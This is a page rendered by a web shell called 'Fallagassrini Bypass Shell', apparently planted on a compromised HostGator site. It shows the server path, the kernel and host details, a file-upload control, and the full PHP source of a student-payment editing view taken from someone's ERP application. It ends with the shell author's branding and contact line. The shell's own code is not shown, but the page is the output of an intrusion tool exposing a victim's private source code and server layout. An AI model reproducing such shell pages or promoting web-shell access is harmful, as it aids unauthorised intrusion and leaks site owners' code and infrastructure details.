? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/oscarerp.com/application/views/accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/oscarerp.com/application/views/accounting/edit_student_payment.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<script src="<?= base_url() ?>assets/js/jquery.autocomplete.js"></script>
<script>
    $(document).ready(function()
    {
       
       suggest_bank_account('#bankacc');
        suggestStudent('#student');
    });
</script>
<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('accounting', 'viewinaccountingsearch', 'search_student_payment', 'view_student_payment', '<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Updating Student Payment</h4>
    </div>
</div>
<div id="viewmsg" style="width: 100%;float: left;height: 25px;"></div>
<?php
$payment_type = $this->mastermodel->getdatas('finance_payment_types', 'payment_type_id', 'asc');
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('accounting/addinaccounting/update_student_payment/view_student_payment/1', $attributes);
$bank_acc = $this->mastermodel->get_single_field_value_two('finance_journal', 'chart_account_code', 'journal_id', $viewinfo->journal_id, 'credit', '0');
$student_acc = $this->mastermodel->get_single_field_value_two('finance_journal', 'chart_account_code', 'journal_id', $viewinfo->journal_id, 'debit', '0');
$bank_account = $this->mastermodel->get_data_srow('finance_bank_account', $bank_acc, 'chart_account_code');
$amount = $this->mastermodel->get_single_field_value_two('finance_journal', 'credit', 'journal_id', $viewinfo->journal_id, 'debit', '0');
$student=$this->mastermodel->get_data_srow('student', $student_acc, 'reg_no')
?>
<input type="hidden" name="transaction_id" value="2"/>
<div class="grid_6">
    <div class="box">
        <div class="content no-padding">     
            <div class="header main">  Student Payment</div>
            <table class="table">

                <tr>
                    <td>Student Name</td>
                    <td>                        
                        <input type="text" name="student" id="student" style="width: 300px;" onchange="empty_text('student_id')" class="required" value="<?=$student->first_name.' '.$student->last_name;?>" />
                        <input type="hidden" name="student_id" id="student_id" value="<?=$student->student_id;?>"/>
                    </td>
                </tr>
                 <tr>
                    <td>Account Code</td>
                    <td>
                        <input type="text" name="account_code" id="account_code" readonly  value="<?=$student->reg_no?>"/>
                        
                    </td>
                </tr>
                <tr>
                    <td>Date</td>
                    <td>
                        <input class="w_90 required calfocus" type="text" name="journal_date" id="journal_date" value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->journal_date)?>" style="width: 200px;" />
                    </td>
                </tr>
                <tr>
                    <td>Amount</td>
                    <td><input class="w_90 text_r required auto" type="text" name="amount" id="amount" style="width: 200px;" value="<?=$amount?>"/></td>
                </tr>
                <tr>
                    <td>Payment Method</td>
                   <td>
                        <select name="payment_type_id" id="payment_type_id" class="required  chzn-done" onchange="select_payment_mode(this.value,'payment_mode','')">
                            <?php
                            foreach ($payment_type as $value) {
                                echo '<option value="' . $value['payment_type_id'] . '"';
                                if ($value['payment_type_id'] == $viewinfo->payment_type_id)
                                    echo "selected";echo '>' . $value["payment_type"] . '</option>';
                            }
                            ?>
                        </select>

                    </td>
                </tr>
            </table>
        </div>
    </div>
</div> 

<div class="grid_6">
    <div class="box">
        <div class="content no-padding">     
            <div class="header main"> </div>
            <table class="table">                                      
                <tr>
                    <td>Transaction No: </td>
                    <td><input class="w_90 " type="text" name="transaction_no" readonly="readonly" value="<?=$viewinfo->reference;?>" id="course"/></td>
                </tr>    
                <tr>
                    <td>Description</td>
                    <td><textarea name="description" id="description" style="width:350px;height:110px"><?=$viewinfo->description;?></textarea></td>
                </tr>
                 <tr>
                    <td>To Account</td>
                    <td>
                      <input type="text" name="bankacc" id="bankacc" value='<?= $bank_account->bank_name ?>' class="required"  />
                      <input type="hidden" name="bankacc_id" id="bankacc_id" value="<?= $bank_account->bank_account_id . '~' . $bank_account->chart_account_code . '~' . $bank_account->bank_name ?>" />

                    </td>
                </tr>
            </table>
        </div>
    </div>
</div> 
<div class="grid_12">
    <div class="box" id='payment_mode'>
        <?php
        if ($viewinfo->payment_type_id == 2) {
            $cheque = $this->mastermodel->get_data_srow('finance_cheque_info', $viewinfo->journal_id, 'journal_id');
            ?>
            <div class="content no-padding">  
                <div class="header main">  Payment Details</div>            
                <table class="table">
                    <tr>
                        <th>Cheque Date</th>
                        <th>Cheque No</th>
                        <th>Cheque Info</th>
                    </tr>
                    <tr>
                        <td>
                            <input class="required calfocus1 " type="text" name="cheque_date" id="cheque_date" value="<?= $this->mastermodel->convertdatenormalformat($cheque->cheque_date) ?>"/>
                             <div  style="padding: 0 5px;width:127px;display: block;height: 30px;"><span style="color: red;" id="cheque_no_date"></span></div>
                        </td>
                        <td>

                             <input class="w_90 required num_only" type="text" name="cheque_no" id="cheque_no" value="<?= $cheque->cheque_no ?>" onblur="check_unique_cheque('PV',<?= $cheque->cheque_no ?>)" />
                             <div  style="color: red;padding: 0 5px;width:200px;display: block;height: 25px;"><span id="cheque_no_info"></span></div>

                        </td>
                        <td>
                            <textarea class=" required"  name="cheque_info" id="cheque_info"><?= $cheque->cheque_info ?></textarea>
                        </td>
                    </tr>
                </table>
            </div>
            <?php
        } else if ($viewinfo->payment_type_id == 3) {
            $wire_info = $this->mastermodel->get_data_srow('finance_wire_info', $viewinfo->journal_id, 'journal_id');
            ?>
            <div class="content no-padding">  
                <div class="header main">  Payment Details</div>            
                <table class="table">        
                    <tr>
                        <th>Wire Info</th>  
                        <td>
                            <input class="w_90 required" type="text" name="wire_info" id="wire_info" style="width:250px;" value="<?= $wire_info->wire_info ?>"/>
                        </td>

                    </tr>
                </table>
            </div>
    <?php
}
?>
    </div>
</div>

<div class="grid_12">
    <div class="box" id='payment_mode'>

    </div>
</div>
<div class="grid_12">
    <div class="box">
        <div class="actions">
            <div class="actions-left">
                <input type="reset">
            </div>
            <div class="actions-right">
                <input type="hidden" name="journal_id" id="journal_id" value="<?=$viewinfo->journal_id?>"/>
                <button type="submit" id="button1" class="clickimage" onclick=" checkdatavalidity($('#from_account_id').val(),'from_account','From Account not in List');    addformdata('validateform')">Process Payment</button>
            </div>
        </div>
    </div>
</div>

<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net